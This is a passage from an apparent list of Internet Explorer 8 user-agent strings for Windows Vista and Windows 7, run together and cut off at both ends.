.NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 1.1.4322; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Tablet PC 2.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1;) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SV1; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; TencentTraveler 4.0; Trident/4.0; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; FunWebProducts; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; WinNT-PAR 03.09.2009; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 1.1.4322; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MSSDMC2.4.2011.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.5.21022; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; Media Center PC 5.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2; .NET CLR 3.5.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) chromeframe/6.0.472.63 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Sleipnir/2.9.4) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; .NET CLR 4.0.20506; OfficeLiveConnector.1.4; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; MS-RTC LM 8; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; FDM; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MSSDMC1.3.1020.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Maxthon; Win64; x64; Trident/4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SV1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; eSobiSubscriber 2.0.4.16; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.3; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.3; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; QQDownload 534; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; QQDownload 667; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; AskTbFWV5/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1; Tablet PC 2.0; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) chromef Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MS-RTC LM 8; InfoPath.2; yie9) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 2.7.83516; WOW64; en-US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; AskTbFXTV5/5.15.4.23821) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.7.23956; WOW64; en-US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 3.8.36926; WOW64; en-US) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; MRA 5.7 (build 03797); SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; MathPlayer 2.20; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Media Center PC 3.1; SV1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; InfoPath.2; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; QQDownload 661; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3029; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 